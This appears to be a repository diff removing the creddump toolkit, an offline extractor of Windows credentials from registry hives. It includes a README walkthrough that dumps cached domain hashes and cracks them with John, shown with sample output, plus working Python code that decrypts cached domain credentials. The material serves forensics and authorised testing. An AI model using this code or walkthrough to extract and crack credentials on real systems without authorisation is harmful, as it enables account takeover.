later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.

0
tools/MultiRelay/creddump/README
View File

182
tools/MultiRelay/creddump/README.md
View File

@@ -1,182 +0,0 @@
#Information
This repo is for my modifications to the original 'creddump' program available
at:
https://code.google.com/p/creddump/
I did not write the original program.
I have combined many patches and fixes I have seen from different forums and
user suggestions, as well as modified the usage to make it a little more clear.
I followed patches and fixes from the following links:
* https://code.google.com/p/creddump/issues/detail?id=4
* https://code.google.com/p/volatility/issues/detail?id=92
Enjoy!
Ronnie Flathers (@ropnop)
###Usage
Mount a Windows 7/Vista partition:
```
# mkdir /mnt/win
# ntfs-3g /dev/sda1 /mnt/win
```
Run cachedump.py on the SYSTEM and SECURITY hives to extract cached domain creds:
```
# ./cachedump.py
usage: ./cachedump.py <system hive> <security hive> <Vista/7>
Example (Windows Vista/7):
./cachedump.py /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true
Example (Windows XP):
./cachedump.py /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false
# ./cachedump.py /mnt/win/Windows/System32/config/SYSTEM /mnt/win/Windows/System32/config/SECURITY true |tee hashes
nharpsis:6b29dfa157face3f3d8db489aec5cc12:acme:acme.local
god:25bd785b8ff1b7fa3a9b9e069a5e7de7:acme:acme.local
```
If you want to crack the hashes and have a good wordlist, John can be used. The hashes are in the 'mscash2' format:
```
# john --format=mscash2 --wordlist=/usr/share/wordlists/rockyou.txt hashes
Loaded 2 password hashes with 2 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 8x])
g0d (god)
Welcome1! (nharpsis)
```
We now have the passwords for two domain users. Note: these passwords are really simple and I knew they were in the wordlist I used. Normally if you want to actually bruteforce the passwords, I wouldn't recommend John. Pull the hashes and use a GPU powered cracking box with oclHashcat.
####Below is the original README file
OVERVIEW
creddump is a python tool to extract various credentials and secrets from
Windows registry hives. It currently extracts:
* LM and NT hashes (SYSKEY protected)
* Cached domain passwords
* LSA secrets
It essentially performs all the functions that bkhive/samdump2,
cachedump, and lsadump2 do, but in a platform-independent way.
It is also the first tool that does all of these things in an offline
way (actually, Cain & Abel does, but is not open source and is only
available on Windows).
REQUIREMENTS
alldump has only been tested on python 2.5. It should work on 2.4 as
well, but will likely need modification before it will work on 2.3 or
below.
python-crypto is required for its MD5/DES/RC4 support. To obtain it,
see: http://www.amk.ca/python/code/crypto
For lsadump: system and SECURITY hives
For cachedump: system and SECURITY hives
For pwdump: system and SAM hives
USAGE
Dump cached domain hashes:
usage: ./cachedump.py <system hive> <security hive>
Dump LSA secrets:
usage: ./lsadump.py <system hive> <security hive>
Dump local password hashes:
usage: ./pwdump.py <system hive> <SAM hive>
FEATURES
* Platform independent operation. The only inputs are the hive files
from the system--we don't rely on any Windows functionality at all.
* Open-source and (hopefully!) readble implementations of Windows
obfuscation algorithms used to protect LSA secrets, cached domain
passwords, and
* A reasonably forgiving registry file parser in pure Python. Look
through framework/types.py and framework/win32/rawreg.py to see how it
works.
* The first complete open-source implementation of advapi32's
SystemFunction005. The version in the Wine source code does not
appear to allow for keys longer than 7 bytes, while the Windows
version (and this version) does. See decrypt_secret() in
framework/win32/lsasecrets.py
AUTHOR
creddump is written by Brendan Dolan-Gavitt (bdolangavitt@wesleyan.edu).
For more information on Syskey, LSA secrets, cached domain credentials,
and lots of information on volatile memory forensics and reverse
engineering, check out:
http://moyix.blogspot.com/
CREDITS
* AAron Walters. Much of the data type parsing code is taken from
Volatility, an excellent memory analysis framework written in Python.
He's also a really nice guy, and has helped me out a lot in my
research.
https://www.volatilesystems.com/default/volatility
* Massimiliano Montoro (mao), for reversing the mechanism Windows uses
to derive the LSA key so that it can be computed directly from the
hive files, as decribed in this post:
http://oxid.netsons.org/phpBB2/viewtopic.php?t=149
http://www.oxid.it/
* Jeremy Allison, for the details of the obfuscation applied to password
hashes in the SAM, as implemented in the original pwdump.
http://us4.samba.org/samba/ftp/pwdump/
* Nicola Cuomo, for his excellent description of the syskey mechanism
and how it is used to encrypt the SAM in Windows 2000 and above.
http://www.studenti.unina.it/~ncuomo/syskey/
* Eyas[at]xfocus.org, for x_dialupass2.cpp, which demonstrates how to
read LSA secrets directly from the registry, given the LSA key.
http://www.xfocus.net/articles/200411/749.html
[Note: the above is in Chinese, but quite comprehensible if you use
Google Translate and can read C ;)]
* Nicholas Ruff, for his perl implementation of des_set_odd_parity,
which he apparently took from SSLEAY:
http://seclists.org/pen-test/2005/Jan/0180.html
* Arnaud Pilon, for the details of how to retrieve cached domain, as
implemented in cachedump.
http://www.securiteam.com/tools/5JP0I2KFPA.html
* S<>bastien Ke, for his cute hexdump recipe:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
LICENSE
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

48
tools/MultiRelay/creddump/cachedump.py
View File

@@ -1,48 +0,0 @@
#!/usr/bin/env python
# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=invalid-name,missing-docstring
"""
@author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu
"""
import sys
from framework.win32.domcachedump import dump_file_hashes
def showUsage():
print("usage: %s <system hive> <security hive> <Vista/7>" % sys.argv[0])
print("\nExample (Windows Vista/7):")
print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0])
print("\nExample (Windows XP):")
print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0])
if len(sys.argv) < 4:
showUsage()
sys.exit(1)
if sys.argv[3].lower() not in ["true", "false"]:
showUsage()
sys.exit(1)
vista = sys.argv[3].lower() == "true"
dump_file_hashes(sys.argv[1], sys.argv[2], sys.argv[3])

0
tools/MultiRelay/creddump/framework/__init__.py
View File

147
tools/MultiRelay/creddump/framework/addrspace.py
View File

@@ -1,147 +0,0 @@
# Volatility
# Copyright (C) 2007 Volatile Systems
#
# Original Source:
# Copyright (C) 2004,2005,2006 4tphi Research
# Author: {npetroni,awalters}@4tphi.net (Nick Petroni and AAron Walters)
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or (at
# your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
"""
@author: AAron Walters
@license: GNU General Public License 2.0 or later
@contact: awalters@volatilesystems.com
@organization: Volatile Systems
Alias for all address spaces
"""
# pylint: disable=missing-docstring
import os
import struct
class FileAddressSpace:
def __init__(self, fname, mode='rb', fast=False):
self.fname = fname
self.name = fname
self.fhandle = open(fname, mode)
self.fsize = os.path.getsize(fname)
if fast:
self.fast_fhandle = open(fname, mode)
def fread(self, len):
return self.fast_fhandle.read(len)
def read(self, addr, len):
self.fhandle.seek(addr)
return self.fhandle.read(len)
def read_long(self, addr):
string = self.read(addr, 4)
(longval,) = struct.unpack('L', string)
return longval
def get_address_range(self):
return [0, self.fsize - 1]
def get_available_addresses(self):
return [self.get_address_range()]
def is_valid_address(self, addr):
return addr < self.fsize - 1
def close(self):
self.fhandle.close()
# Code below written by Brendan Dolan-Gavitt
BLOCK_SIZE = 0x1000
class HiveFileAddressSpace:
def __init__(self, fname):
self.fname = fname
self.base = FileAddressSpace(fname)
def vtop(self, vaddr):
return vaddr + BLOCK_SIZE + 4
def read(self, vaddr, length, zero=False):
first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE
full_blocks = ((length + (vaddr % BLOCK_SIZE)) // BLOCK_SIZE) - 1
left_over = (length + vaddr) % BLOCK_SIZE
paddr = self.vtop(vaddr)
if paddr is None and zero:
if length < first_block:
return "\0" * length
else:
stuff_read = "\0" * first_block
elif paddr is None:
return None
else:
if length < first_block:
stuff_read = self.base.read(paddr, length)
if not stuff_read and zero:
return "\0" * length
else:
return stuff_read
stuff_read = self.base.read(paddr, first_block)
if not stuff_read and zero:
stuff_read = "\0" * first_block
new_vaddr = vaddr + first_block
for __ in range(0, full_blocks):
paddr = self.vtop(new_vaddr)
if paddr is None and zero:
stuff_read = stuff_read + "\0" * BLOCK_SIZE
elif paddr is None:
return None
else:
new_stuff = self.base.read(paddr, BLOCK_SIZE)
if not new_stuff and zero:
new_stuff = "\0" * BLOCK_SIZE
elif not new_stuff:
return None
else:
stuff_read = stuff_read + new_stuff
new_vaddr = new_vaddr + BLOCK_SIZE
if left_over > 0:
paddr = self.vtop(new_vaddr)
if paddr is None and zero:
stuff_read = stuff_read + "\0" * left_over
elif paddr is None:
return None
else:
stuff_read = stuff_read + self.base.read(paddr, left_over)
return stuff_read
def read_long_phys(self, addr):
string = self.base.read(addr, 4)
(longval,) = struct.unpack('L', string)
return longval
def is_valid_address(self, vaddr):
paddr = self.vtop(vaddr)
if not paddr:
return False
return self.base.is_valid_address(paddr)

320
tools/MultiRelay/creddump/framework/newobj.py
View File

@@ -1,320 +0,0 @@
# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
"""
@author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu
"""
# pylint: disable=missing-docstring,invalid-name,no-else-return,arguments-differ,unused-argument
from operator import itemgetter
from struct import unpack
from framework.object import get_obj_offset, builtin_types, read_value, read_unicode_string, read_string, read_obj
from framework.types import regtypes as types
def get_ptr_type(structure, member):
"""Return the type a pointer points to.
Arguments:
structure : the name of the structure from vtypes
member : a list of members
Example:
get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY']
"""
if len(member) > 1:
_, tp = get_obj_offset(types, [structure, member[0]])
if tp == 'array':
return types[structure][1][member[0]][1][2][1]
else:
return get_ptr_type(tp, member[1:])
else:
return types[structure][1][member[0]][1][1]
class Obj(object):
"""Base class for all objects.
May return a subclass for certain data types to allow
for special handling.
"""
def __new__(cls, name, address, space):
if name in globals():
# This is a bit of "magic"
# Could be replaced with a dict mapping type names to types
return globals()[name](name, address, space)
elif name in builtin_types:
return Primitive(name, address, space)
else:
obj = object.__new__(cls)
return obj
def __init__(self, name, address, space):
self.name = name
self.address = address
self.space = space
# Subclasses can add fields to this list if they want them
# to show up in values() or members(), even if they do not
# appear in the vtype definition
self.extra_members = []
def __getattribute__(self, attr):
try:
return object.__getattribute__(self, attr)
except AttributeError:
pass
if self.name in builtin_types:
raise AttributeError("Primitive types have no dynamic attributes")
try:
off, tp = get_obj_offset(types, [self.name, attr])
except:
raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr))
if tp == 'array':
a_len = types[self.name][1][attr][1][1]
l = []
for i in range(a_len):
a_off, a_tp = get_obj_offset(types, [self.name, attr, i])
if a_tp == 'pointer':
ptp = get_ptr_type(self.name, [attr, i])
l.append(Pointer(a_tp, self.address + a_off, self.space, ptp))
else:
l.append(Obj(a_tp, self.address + a_off, self.space))
return l
elif tp == 'pointer':
# Can't just return a Obj here, since pointers need to also
# know what type they point to.
ptp = get_ptr_type(self.name, [attr])
return Pointer(tp, self.address + off, self.space, ptp)
else:
return Obj(tp, self.address + off, self.space)
def __truediv__(self, other):
if isinstance(other, (tuple, list)):
return Pointer(other[0], self.address, self.space, other[1])
elif isinstance(other, str):
return Obj(other, self.address, self.space)
else:
raise ValueError("Must provide a type name as string for casting")
def members(self):
"""Return a list of this object's members, sorted by offset."""
# Could also just return the list
membs = [(k, v[0]) for k, v in list(types[self.name][1].items())]
membs.sort(key=itemgetter(1))
return list(map(itemgetter(0), membs)) + self.extra_members
def values(self):
"""Return a dictionary of this object's members and their values"""
valdict = {}
for k in self.members():
valdict[k] = getattr(self, k)
return valdict
def bytes(self, length=-1):
"""Get bytes starting at the address of this object.
Arguments:
length : the number of bytes to read. Default: size of
this object.
"""
if length == -1:
length = self.size()
return self.space.read(self.address, length)
def size(self):
"""Get the size of this object."""
if self.name in builtin_types:
return builtin_types[self.name][0]
else:
return types[self.name][0]
def __repr__(self):
return "<%s @%08x>" % (self.name, self.address)
def __eq__(self, other):
if not isinstance(other, Obj):
raise TypeError("Types are incomparable")
return self.address == other.address and self.name == other.name
def __ne__(self, other):
return not self.__eq__(other)
def __hash__(self):
return hash(self.address) ^ hash(self.name)
def is_valid(self):
return self.space.is_valid_address(self.address)
def get_offset(self, member):
return get_obj_offset(types, [self.name] + member)
class Primitive(Obj):
"""Class to represent a primitive data type.
Attributes:
value : the python primitive value of this type
"""
def __new__(cls, *args, **kwargs):
obj = object.__new__(cls)
return obj
def __init__(self, name, address, space):
super(Primitive, self).__init__(name, address, space)
length, fmt = builtin_types[name]
data = space.read(address, length)
if not data:
self.value = None
else:
self.value = unpack(fmt, data)[0]
def __repr__(self):
return repr(self.value)
def members(self):
return []
class Pointer(Obj):
"""Class to represent pointers.
value : the object pointed to
If an attribute is not found in this instance,
the attribute will be looked up in the referenced
object."""
def __new__(cls, *args, **kwargs):
obj = object.__new__(cls)
return obj
def __init__(self, name, address, space, ptr_type):
super(Pointer, self).__init__(name, address, space)
ptr_address = read_value(space, name, address)
if ptr_type[0] == 'pointer':
self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1])
else:
self.value = Obj(ptr_type[0], ptr_address, self.space)
def __getattribute__(self, attr):
# It's still nice to be able to access things through pointers
# without having to explicitly dereference them, so if we don't
# find an attribute via our superclass, just dereference the pointer
# and return the attribute in the pointed-to type.
try:
return super(Pointer, self).__getattribute__(attr)
except AttributeError:
return getattr(self.value, attr)
def __repr__(self):
return "<pointer to [%s @%08x]>" % (self.value.name, self.value.address)
def members(self):
return self.value.members()
class _UNICODE_STRING(Obj):
"""Class representing a _UNICODE_STRING
Adds the following behavior:
* The Buffer attribute is presented as a Python string rather
than a pointer to an unsigned short.
* The __str__ method returns the value of the Buffer.
"""
def __new__(cls, *args, **kwargs):
obj = object.__new__(cls)
return obj
def __str__(self):
return self.Buffer
# Custom Attributes
def getBuffer(self):
return read_unicode_string(self.space, types, [], self.address)
Buffer = property(fget=getBuffer)
class _CM_KEY_NODE(Obj):
def __new__(cls, *args, **kwargs):
obj = object.__new__(cls)
return obj
def getName(self):
return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'],
self.address, self.NameLength.value)
Name = property(fget=getName)
class _CM_KEY_VALUE(Obj):
def __new__(cls, *args, **kwargs):
obj = object.__new__(cls)
return obj
def getName(self):
return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'],
self.address, self.NameLength.value)
Name = property(fget=getName)
class _CHILD_LIST(Obj):
def __new__(cls, *args, **kwargs):
obj = object.__new__(cls)
return obj
def getList(self):
lst = []
list_address = read_obj(self.space, types,
['_CHILD_LIST', 'List'], self.address)
for i in range(self.Count.value):
lst.append(Pointer("pointer", list_address + (i * 4), self.space,
["_CM_KEY_VALUE"]))
return lst
List = property(fget=getList)
class _CM_KEY_INDEX(Obj):
def __new__(cls, *args, **kwargs):
obj = object.__new__(cls)
return obj
def getList(self):
lst = []
for i in range(self.Count.value):
# we are ignoring the hash value here
off, __ = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i * 2])
lst.append(Pointer("pointer", self.address + off, self.space,
["_CM_KEY_NODE"]))
return lst
List = property(fget=getList)

171
tools/MultiRelay/creddump/framework/object.py
View File

@@ -1,171 +0,0 @@
# Volatools Basic
# Copyright (C) 2007 Komoku, Inc.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or (at
# your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
# pylint: disable=invalid-name,missing-docstring
"""
@author: AAron Walters and Nick Petroni
@license: GNU General Public License 2.0 or later
@contact: awalters@komoku.com, npetroni@komoku.com
@organization: Komoku, Inc.
"""
import struct
builtin_types = {
'int': (4, 'i'),
'long': (4, 'i'),
'unsigned long': (4, 'I'),
'unsigned int': (4, 'I'),
'address': (4, 'I'),
'char': (1, 'c'),
'unsigned char': (1, 'B'),
'unsigned short': (2, 'H'),
'short': (2, 'h'),
'long long': (8, 'q'),
'unsigned long long': (8, 'Q'),
'pointer': (4, 'I'),
}
def obj_size(types, objname):
if objname not in types:
raise Exception('Invalid type %s not in types' % (objname))
return types[objname][0]
def builtin_size(builtin):
if builtin not in builtin_types:
raise Exception('Invalid built-in type %s' % (builtin))
return builtin_types[builtin][0]
def read_value(addr_space, value_type, vaddr):
"""
Read the low-level value for a built-in type.
"""
if value_type not in builtin_types:
raise Exception('Invalid built-in type %s' % (value_type))
type_unpack_char = builtin_types[value_type][1]
type_size = builtin_types[value_type][0]
buf = addr_space.read(vaddr, type_size)
if buf is None:
return None
(val,) = struct.unpack(type_unpack_char, buf)
return val
def read_unicode_string(addr_space, types, member_list, vaddr):
offset = 0
if len(member_list) > 1:
(offset, __) = get_obj_offset(types, member_list)
buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)
length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset)
if length == 0x0:
return ""
if buf is None or length is None:
return None
readBuf = read_string(addr_space, types, ['char'], buf, length)
if readBuf is None:
return None
try:
readBuf = readBuf.decode('UTF-16').encode('ascii')
except Exception: # pylint: disable=broad-except
return None
return readBuf
def read_string(addr_space, types, member_list, vaddr, max_length=256):
offset = 0
if len(member_list) > 1:
(offset, __) = get_obj_offset(types, member_list)
val = addr_space.read(vaddr + offset, max_length)
return val
def read_null_string(addr_space, types, member_list, vaddr, max_length=256):
string = read_string(addr_space, types, member_list, vaddr, max_length)
if string is None:
return None
return string.split('\0', 1)[0]
def get_obj_offset(types, member_list):
"""
Returns the (offset, type) pair for a given list
"""
member_list.reverse()
current_type = member_list.pop()
offset = 0
while member_list:
if current_type == 'array':
current_type = member_dict[current_member][1][2][0]
if current_type in builtin_types:
current_type_size = builtin_size(current_type)
else:
current_type_size = obj_size(types, current_type)
index = member_list.pop()
offset += index * current_type_size
continue
elif current_type not in types:
raise Exception('Invalid type ' + current_type)
member_dict = types[current_type][1]
current_member = member_list.pop()
if current_member not in member_dict:
raise Exception('Invalid member %s in type %s' % (current_member, current_type))
offset += member_dict[current_member][0]
current_type = member_dict[current_member][1][0]
return (offset, current_type)
def read_obj(addr_space, types, member_list, vaddr):
"""
Read the low-level value for some complex type's member.
The type must have members.
"""
if len(member_list) < 2:
raise Exception('Invalid type/member ' + str(member_list))
(offset, current_type) = get_obj_offset(types, member_list)
return read_value(addr_space, current_type, vaddr + offset)

65
tools/MultiRelay/creddump/framework/types.py
View File

@@ -1,65 +0,0 @@
# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=invalid-name
"""
@author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu
"""
regtypes = {
'_CM_KEY_VALUE': [0x18, {
'Signature': [0x0, ['unsigned short']],
'NameLength': [0x2, ['unsigned short']],
'DataLength': [0x4, ['unsigned long']],
'Data': [0x8, ['unsigned long']],
'Type': [0xc, ['unsigned long']],
'Flags': [0x10, ['unsigned short']],
'Spare': [0x12, ['unsigned short']],
'Name': [0x14, ['array', 1, ['unsigned short']]],
}],
'_CM_KEY_NODE': [0x50, {
'Signature': [0x0, ['unsigned short']],
'Flags': [0x2, ['unsigned short']],
'LastWriteTime': [0x4, ['_LARGE_INTEGER']],
'Spare': [0xc, ['unsigned long']],
'Parent': [0x10, ['unsigned long']],
'SubKeyCounts': [0x14, ['array', 2, ['unsigned long']]],
'SubKeyLists': [0x1c, ['array', 2, ['unsigned long']]],
'ValueList': [0x24, ['_CHILD_LIST']],
'ChildHiveReference': [0x1c, ['_CM_KEY_REFERENCE']],
'Security': [0x2c, ['unsigned long']],
'Class': [0x30, ['unsigned long']],
'MaxNameLen': [0x34, ['unsigned long']],
'MaxClassLen': [0x38, ['unsigned long']],
'MaxValueNameLen': [0x3c, ['unsigned long']],
'MaxValueDataLen': [0x40, ['unsigned long']],
'WorkVar': [0x44, ['unsigned long']],
'NameLength': [0x48, ['unsigned short']],
'ClassLength': [0x4a, ['unsigned short']],
'Name': [0x4c, ['array', 1, ['unsigned short']]],
}],
'_CM_KEY_INDEX': [0x8, {
'Signature': [0x0, ['unsigned short']],
'Count': [0x2, ['unsigned short']],
'List': [0x4, ['array', 1, ['unsigned long']]],
}],
'_CHILD_LIST': [0x8, {
'Count': [0x0, ['unsigned long']],
'List': [0x4, ['unsigned long']],
}],
}

0
tools/MultiRelay/creddump/framework/win32/__init__.py
View File

135
tools/MultiRelay/creddump/framework/win32/domcachedump.py
View File

@@ -1,135 +0,0 @@
# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
"""
@author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu
"""
from framework.win32.rawreg import *
from framework.addrspace import HiveFileAddressSpace
from framework.win32.hashdump import get_bootkey
from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key
from Crypto.Hash import HMAC
from Crypto.Cipher import ARC4, AES
from struct import unpack
def get_nlkm(secaddr, lsakey, vista):
return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista)
def decrypt_hash(edata, nlkm, ch):
hmac_md5 = HMAC.new(nlkm,ch)
rc4key = hmac_md5.digest()
rc4 = ARC4.new(rc4key)
data = rc4.encrypt(edata)
return data
def decrypt_hash_vista(edata, nlkm, ch):
"""
Based on code from http://lab.mediaservice.net/code/cachedump.rb
"""
aes = AES.new(nlkm[16:32], AES.MODE_CBC, ch)
out = bytearray()
for i in range(0, len(edata), 16):
buf = edata[i : i+16]
if len(buf) < 16:
buf += (16 - len(buf)) * b"\00"
out += aes.decrypt(buf)
return out
def parse_cache_entry(cache_data):
(uname_len, domain_len) = unpack("<HH", cache_data[:4])
(domain_name_len,) = unpack("<H", cache_data[60:62])
ch = cache_data[64:80]
enc_data = cache_data[96:]
return (uname_len, domain_len, domain_name_len, enc_data, ch)
def parse_decrypted_cache(dec_data, uname_len,
domain_len, domain_name_len):
uname_off = 72
pad = 2 * ( ( uname_len // 2 ) % 2 )
domain_off = uname_off + uname_len + pad
pad = 2 * ( ( domain_len // 2 ) % 2 )
domain_name_off = domain_off + domain_len + pad
hash = dec_data[:0x10]
username = dec_data[uname_off:uname_off+uname_len]
username = username.decode('utf-16-le')
domain = dec_data[domain_off:domain_off+domain_len]
domain = domain.decode('utf-16-le')
domain_name = dec_data[domain_name_off:domain_name_off+domain_name_len]
domain_name = domain_name.decode('utf-16-le')
return (username, domain, domain_name, hash)
def dump_hashes(sysaddr, secaddr, vista):
bootkey = get_bootkey(sysaddr)
if not bootkey:
return []
lsakey = get_lsa_key(secaddr, bootkey, vista)
if not lsakey:
return []
nlkm = get_nlkm(secaddr, lsakey, vista)
if not nlkm:
return []
root = get_root(secaddr)
if not root:
return []
cache = open_key(root, ["Cache"])
if not cache:
return []
hashes = []
for v in values(cache):
if v.Name == b"NL$Control": continue
data = v.space.read(v.Data.value, v.DataLength.value)
(uname_len, domain_len, domain_name_len,
enc_data, ch) = parse_cache_entry(data)
# Skip if nothing in this cache entry
if uname_len == 0:
continue
if vista:
dec_data = decrypt_hash_vista(enc_data, nlkm, ch)
else:
dec_data = decrypt_hash(enc_data, nlkm, ch)
(username, domain, domain_name,
hash) = parse_decrypted_cache(dec_data, uname_len,
domain_len, domain_name_len)
hashes.append((username, domain, domain_name, hash))
return hashes
def dump_file_hashes(syshive_fname, sechive_fname, vista):
sysaddr = HiveFileAddressSpace(syshive_fname)
secaddr = HiveFileAddressSpace(sechive_fname)
for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr, vista):
print("%s:%s:%s:%s" % (u.lower(), hash.hex(),
d.lower(), dn.lower()))

311
